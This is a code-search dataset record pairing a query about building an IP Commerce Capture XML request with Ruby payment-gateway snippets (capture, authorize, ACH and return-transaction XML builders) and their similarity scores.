OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def set_ach_information(params = {})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'ACH'\r\n @PARAM_HASH['ACH_ROUTING'] = params[:ach_routing]\r\n @PARAM_HASH['ACH_ACCOUNT'] = params[:ach_account]\r\n @PARAM_HASH['ACH_ACCOUNT_TYPE'] = params[:ach_account_type]\r\n @PARAM_HASH['DOC_TYPE'] = params[:doc_type] || ''\r\n end", "def set_ach_information(params = {})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'ACH'\r\n @PARAM_HASH['ACH_ROUTING'] = params[:ach_routing]\r\n @PARAM_HASH['ACH_ACCOUNT'] = params[:ach_account]\r\n @PARAM_HASH['ACH_ACCOUNT_TYPE'] = params[:ach_account_type]\r\n @PARAM_HASH['DOC_TYPE'] = params[:doc_type] || ''\r\n end", "def capture(unique_id)\n request('payment/capture', :capture => {:unique_id => unique_id} )\n end", "def build_request\n b = builder\n xml = b.SignatureProofOfDeliveryRequest(:xmlns => \"http://fedex.com/ws/track/v#{VERSION[:major]}\") do\n build_authentication(b)\n build_version(b, \"trck\", VERSION[:major], VERSION[:intermediate], VERSION[:minor])\n \n b.Type image_type\n b.TrackingNumber tracking_number\n b.FaxDetail fax_number if fax_number\n b.LetterFormat image_file_type\n end\n end", "def to_xml(xml)\n xml[:c].view3D {\n xml[:c].rotX :val=>@rotX unless @rotX.nil?\n xml[:c].hPercent :val=>@hPercent unless @hPercent.nil?\n xml[:c].rotY :val=>@rotY unless @rotY.nil?\n xml[:c].depthPercent :val=>@depthPercent unless @depthPercent.nil?\n xml[:c].rAngAx :val=>@rAngAx unless @rAngAx.nil?\n xml[:c].perspective :val=>@perspective unless @perspective.nil?\n }\n end", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def authorize(money, source, options = {})\r\n logger.debug 'SPS ACTION: authorize'\r\n return ActiveMerchant::Billing::Response.new(source.success?, \"Authorize Error\", {:message => \"\"}, {})\r\n end", "def authorize(attribs={})\n params = parse_request_params(attribs)\n parsed, creds = request(:post, resource_path+'/authorize', params)\n factory(parsed, creds)\n end", "def capture(id, capture_request, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: CapturesApi#capture ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling capture\" if id.nil?\n \n # verify the required parameter 'capture_request' is set\n fail \"Missing the required parameter 'capture_request' when calling capture\" if capture_request.nil?\n \n # resource path\n path = \"/payments/v1/authorizations/{id}/captures\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(capture_request)\n \n\n auth_names = []\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CapturePostResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: CapturesApi#capture. Result: #{result.inspect}\"\n end\n return result\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def create_data_to_sign(login, cc, params)\n t = Time.now\n utc_date_time = t.strftime(\"%FT%TZ\")\n $tracer.report(\"UTC Date/Time From #{__method__}, Line: #{__LINE__}: #{utc_date_time}\")\n signed_field_names = 'access_key,profile_id,transaction_uuid,signed_field_names,unsigned_field_names,signed_date_time,locale,transaction_type,reference_number,amount,currency,payment_method,bill_to_forename,bill_to_surname,bill_to_email,bill_to_phone,bill_to_address_line1,bill_to_address_city,bill_to_address_state,bill_to_address_country,bill_to_address_postal_code'.split(',')\n signed_field_name_string = \"access_key profile_id transaction_uuid signed_field_names unsigned_field_names signed_date_time locale transaction_type reference_number amount currency payment_method bill_to_forename bill_to_surname bill_to_email bill_to_phone bill_to_address_line1 bill_to_address_city bill_to_address_state bill_to_address_country bill_to_address_postal_code\"\n field_values = \"61852f33714536a98fe3835ac163c7ee,1979EB50-F7F8-495B-841B-F1C8AC7568B4,#{generate_guid},#{signed_field_name_string},card_type card_number card_expiry_date card_cvn,#{utc_date_time},en,create_payment_token,#{generate_guid},0.00,usd,card,#{params['BillFirstName']},#{params['BillLastName']},#{login},#{params['BillPhone']},#{params['BillLine1']},#{params['BillCity']},#{params['BillState']},#{params['BillCountryCode']},#{params['BillPostalCode']}\".split(',')\n field_values.map { |i| i.include?(',') ? (i.split /,/) : i }\n data_to_sign = Hash[signed_field_names.zip(field_values.map { |i| i.include?(',') ? (i.split /,/) : i })]\n data_to_sign['signed_field_names'] = data_to_sign['signed_field_names'].to_s.gsub(' ',',')\n data_to_sign['unsigned_field_names'] = data_to_sign['unsigned_field_names'].to_s.gsub(' ',',')\n $tracer.report(\"#{data_to_sign.inspect}\")\n #sectok = Security.new\n #signature = sectok.generate_signature(data_to_sign)\n $tracer.report(\"UTC Date/Time From #{__method__}, Line: #{__LINE__}: #{utc_date_time}\")\n return signature = nil, utc_date_time, data_to_sign\nend", "def generate_signature parameters\n temp = ''\n params = parameters.sort\n params.each do |array|\n temp += array[0].to_s + array[1].to_s\n end\n signature = @api_secret + temp\n Digest::MD5.hexdigest(signature)\n end", "def authorize(money, authorization_or_credit_card, options = {})\n requires!(options, :order_id)\n\n if authorization_or_credit_card.is_a?(String)\n request = build_purchase_or_authorization_request_with_token_request(PRE_TYPE, money, authorization_or_credit_card, options)\n #request = build_purchase_or_authorization_request_with_continuous_authority_reference_request(AUTH_TYPE, money, authorization_or_credit_card, options)\n else\n request = build_purchase_or_authorization_request_with_credit_card_request(PRE_TYPE, money, authorization_or_credit_card, options)\n end\n\n puts \"PAYMENT REQUEST\"\n puts request\n\n commit(request)\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end" ]
[ "0.6786518", "0.624985", "0.58946115", "0.5854061", "0.56727576", "0.5654516", "0.5648212", "0.56148607", "0.5612469", "0.5603617", "0.5555418", "0.55080813", "0.549603", "0.5480658", "0.5466367", "0.54400516", "0.5417813", "0.54090446", "0.5394875", "0.537793", "0.53746897", "0.5366603", "0.53624165", "0.53583604", "0.53457624", "0.5344852", "0.5298865", "0.5291245", "0.5289431", "0.5286155", "0.5277946", "0.52610016", "0.5240148", "0.52261317", "0.52203023", "0.5219805", "0.5213035", "0.52059126", "0.5202981", "0.5195748", "0.51509964", "0.5146309", "0.5144104", "0.5126391", "0.5089481", "0.5083158", "0.50571007", "0.5044197", "0.50387466", "0.5034697", "0.5007798", "0.4995448", "0.49950948", "0.49940926", "0.49923128", "0.497789", "0.49760053", "0.497337", "0.49615297", "0.49454504", "0.4935234", "0.49334383", "0.49334207", "0.49322584", "0.49230003", "0.49160942", "0.49102426", "0.48902452", "0.48876423", "0.48858106", "0.48847362", "0.4883665", "0.48834127", "0.4879323", "0.48460826", "0.48460826", "0.48449662", "0.48341194", "0.48317334", "0.48299772", "0.48234642", "0.4822088", "0.48113304", "0.48096204", "0.48072118", "0.47898734", "0.47881627", "0.47881627", "0.47849977", "0.47823152", "0.47748816", "0.4768354", "0.47673023", "0.4762911", "0.4759821", "0.47490048", "0.4748967", "0.47472587", "0.47462097", "0.47443846" ]
0.6829887
0
Create Capture xml as per the api format . "params" is collection keyvalues, in this "params" holds Amount, TransactionId. It returns xml format in string.
def captureXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"Capture" ) { xml.ApplicationProfileId application_profile_id #'14644' xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions', 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing', 'i:type' => "d2p2:BankcardCapture"){ xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10' if params[:Amount] != '' xml['d2p2'].Amount params[:Amount] else xml['d2p2'].Amount '0.00' end xml['d2p2'].TipAmount '0.00' } } end.to_xml rescue Exception => ex return "transaction id and/or amount not set in xml for captureXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def captureAllXML()\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"CaptureAll\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> \"true\")\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for captureAllXML!\"\n end \n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def capture(params = {})\n req = WebPay::ChargeRequestWithAmount.create(params)\n raw_response = @client._request(:post, 'charges' + '/' + req.id.to_s + '/' + 'capture', req)\n WebPay::ChargeResponse.new(raw_response)\n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => 